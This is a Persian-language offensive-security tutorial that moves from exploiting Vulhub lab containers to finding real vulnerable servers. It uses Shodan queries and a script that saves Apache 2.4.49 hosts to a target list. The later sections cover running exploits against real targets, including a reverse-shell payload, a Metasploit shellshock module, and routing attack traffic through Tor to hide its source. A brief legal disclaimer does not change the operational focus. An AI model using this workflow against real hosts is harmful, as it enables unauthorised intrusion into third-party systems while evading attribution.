VulnCity

یک Exploit موفق: از Vulhub تا Shodan

نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۱۲

چگونه یک سرویس آسیب‌پذیر را Exploit کنیم؟ راهنمای جامع از صفر تا صد

مقدمه

Exploitation یکی از مهم‌ترین مهارت‌های امنیت تهاجمی است که نیازمند دانش فنی، صبر و حوصله، و رویکرد سیستماتیک است. در این مقاله، فرآیند کامل شناسایی، تست و بهره‌برداری از آسیب‌پذیری‌های سرویس‌ها را به صورت گام‌به‌گام بررسی می‌کنیم.

گام اول: راه‌اندازی محیط آزمایشگاهی با Vulhub

کلون کردن مخزن Vulhub

git clone https://github.com/vulhub/vulhub.git
cd vulhub

نکات مهم:

  • Vulhub یک مجموعه عظیم از محیط‌های آسیب‌پذیر Docker-based است
  • هر پوشه شامل یک آسیب‌پذیری خاص با Docker Compose آماده است
  • قبل از شروع، حتماً Docker و Docker Compose را نصب کنید

بررسی وجود سرویس مورد نظر

ls -la | grep <service-name>
# مثال: ls -la | grep apache

چک‌لیست بررسی:

  • آیا سرویس مورد نظر در Vulhub موجود است؟
  • چه نسخه‌هایی از آن سرویس در دسترس است؟
  • آیا CVE خاصی که دنبالش هستید وجود دارد؟

گام دوم: تنظیم نسخه آسیب‌پذیر

ویرایش فایل docker-compose.yml

اگر نسخه مورد نظرتان در Vulhub نیست، باید آن را به‌روزرسانی کنید:

version: '3'
services:
  vulnerable-service:
    image: vulnerable-app:2.4.49  # نسخه آسیب‌پذیر خود را اینجا قرار دهید
    ports:
      - "8080:80"
    environment:
      - VULNERABLE_CONFIG=true

نکات کلیدی:

  • همیشه از نسخه دقیق آسیب‌پذیر استفاده کنید (نه latest)
  • پورت‌ها را به گونه‌ای تنظیم کنید که با سیستم شما تداخل نداشته باشد
  • لاگ‌ها را فعال کنید تا بتوانید رفتار سرویس را مانیتور کنید

راه‌اندازی محیط

docker-compose up -d
docker-compose ps  # بررسی وضعیت کانتینرها
docker-compose logs -f  # مشاهده لاگ‌ها

گام سوم: جستجو و پیدا کردن Exploit

جستجوی هدفمند در GitHub

# فرمت جستجو:
github.com/search?q=CVE-2021-44228+exploit
github.com/search?q=<service-name>+<version>+exploit+poc

منابع معتبر برای Exploit:

  • GitHub: بزرگ‌ترین مخزن POC و Exploit
  • Exploit-DB: پایگاه داده رسمی Offensive Security
  • Packet Storm: آرشیو قدیمی اما معتبر
  • 0day.today: Exploit‌های جدید (برخی پولی)

نکات امنیتی:

  • هرگز Exploit را بدون بررسی کد اجرا نکنید
  • بسیاری از Exploit‌های عمومی حاوی backdoor هستند
  • همیشه کد را در محیط ایزوله تست کنید

تحلیل کد Exploit

قبل از اجرا، این موارد را بررسی کنید:

# چک کنید که Exploit چه کاری انجام می‌دهد:
# 1. آیا به سرورهای خارجی متصل می‌شود؟
# 2. آیا فایل‌های سیستمی را تغییر می‌دهد؟
# 3. آیا اطلاعات را به جایی ارسال می‌کند؟

گام چهارم: تست Exploit روی محیط آزمایشگاهی

اجرای اولیه

python3 exploit.py --target http://localhost:8080 --payload reverse_shell

سناریوهای احتمالی:

سناریو 1: Exploit کار نمی‌کند ❌

دلایل متداول:

  • تفاوت در نسخه دقیق سرویس
  • تفاوت در تنظیمات محیطی
  • وابستگی‌های کتابخانه‌ای
  • تغییرات در پروتکل یا API

راه‌حل‌ها:

# 1. فعال کردن حالت debug
python3 exploit.py --target http://localhost:8080 --debug --verbose

# 2. استفاده از Burp Suite برای بررسی ترافیک
# 3. مقایسه request موفق با request ناموفق

سناریو 2: نیاز به تنظیمات اضافی

# مثال: تنظیم User-Agent خاص
headers = {
    'User-Agent': 'Mozilla/5.0 (compatible; ExploitBot/1.0)',
    'X-Forwarded-For': '127.0.0.1'
}

# مثال: تنظیم timeout مناسب
requests.post(target, data=payload, timeout=30)

گام پنجم: دیباگ و اصلاح Exploit

تکنیک‌های دیباگ حرفه‌ای

1. استفاده از Wireshark:

sudo wireshark -i lo -f "port 8080"

2. بررسی لاگ‌های سرویس:

docker-compose logs -f | grep ERROR

3. تست دستی با cURL:

curl -X POST http://localhost:8080/vulnerable-endpoint \
  -H "Content-Type: application/json" \
  -d '{"exploit":"payload"}' \
  -v

اصلاح کد Exploit

# مثال: اضافه کردن retry mechanism
import time
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

def create_session():
    session = requests.Session()
    retry = Retry(total=3, backoff_factor=0.3)
    adapter = HTTPAdapter(max_retries=retry)
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    return session

# مثال: اضافه کردن error handling بهتر
try:
    response = session.post(target, data=payload, timeout=10)
    if response.status_code == 200:
        print("[+] Exploit successful!")
    else:
        print(f"[-] Unexpected status code: {response.status_code}")
except requests.exceptions.Timeout:
    print("[-] Request timed out")
except requests.exceptions.ConnectionError:
    print("[-] Connection failed")

گام ششم: شناسایی تارگت‌های واقعی با Shodan

جستجوی هوشمند در Shodan

# نصب Shodan CLI
pip install shodan
shodan init YOUR_API_KEY

# جستجوی سرویس آسیب‌پذیر
shodan search "Apache 2.4.49" --fields ip_str,port,org,hostnames
shodan search "product:Apache version:2.4.49"

فیلترهای مفید Shodan:

# جستجوی بر اساس بنر
http.title:"Apache Server"

# جستجوی بر اساس کشور
country:US

# جستجوی بر اساس پورت
port:8080

# جستجوی بر اساس سازمان
org:"Amazon"

# جستجوی بر اساس favicon hash
http.favicon.hash:12345678

# ترکیبی
product:Apache version:2.4.49 country:IR port:80

جستجوی پیشرفته با Favicon Hash

یکی از تکنیک‌های قدرتمند در Shodan، جستجو بر اساس hash آیکون سایت است. هر وب‌اپلیکیشن معمولاً یک favicon منحصر به فرد دارد که می‌توان از آن برای شناسایی نمونه‌های مشابه استفاده کرد.

نحوه محاسبه favicon hash:

import requests
import mmh3
import codecs

response = requests.get('http://target.com/favicon.ico')
favicon = codecs.encode(response.content, "base64")
hash_value = mmh3.hash(favicon)
print(f"Favicon Hash: {hash_value}")

جستجو در Shodan با favicon hash:

# جستجوی تمام سایت‌هایی که همین favicon را دارند
shodan search "http.favicon.hash:12345678"

# ترکیب با فیلترهای دیگر
shodan search "http.favicon.hash:12345678 country:US"
shodan search "http.favicon.hash:12345678 port:443"

کاربردهای favicon hash:

  • شناسایی تمام نمونه‌های یک CMS یا فریمورک خاص
  • پیدا کردن سرورهای مشابه یک تارگت
  • شناسایی پنل‌های مدیریتی خاص
  • کشف زیرساخت‌های مشترک یک سازمان

استخراج و مدیریت تارگت‌ها

import shodan

api = shodan.Shodan('YOUR_API_KEY')

# جستجو
results = api.search('Apache 2.4.49')

# ذخیره تارگت‌ها
with open('targets.txt', 'w') as f:
    for result in results['matches']:
        f.write(f"{result['ip_str']}:{result['port']}\n")

گام هفتم: اجرای Exploit روی تارگت‌های واقعی

⚠️ هشدارهای قانونی و اخلاقی

قبل از هر اقدامی:

  • فقط روی سیستم‌هایی تست کنید که مجوز کتبی دارید
  • Unauthorized access جرم است و پیامدهای قانونی دارد
  • از VPN و Proxy استفاده کنید (حتی در تست‌های مجاز)
  • هرگز داده‌ها را تغییر یا حذف نکنید

نکات پیشرفته و بهترین شیوه‌ها

1. استفاده از Proxy Chain

proxies = {
    'http': 'socks5://127.0.0.1:9050',  # Tor
    'https': 'socks5://127.0.0.1:9050'
}

response = requests.post(target, proxies=proxies, data=payload)

ابزارهای کمکی

1. Nuclei - اسکنر آسیب‌پذیری

nuclei -u http://target.com -t cves/

2. Metasploit Framework

msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS target.com
set RPORT 80
exploit

3. Burp Suite - تحلیل ترافیک

  • استفاده از Repeater برای تست دستی
  • استفاده از Intruder برای fuzzing
  • استفاده از Logger برای ذخیره request/response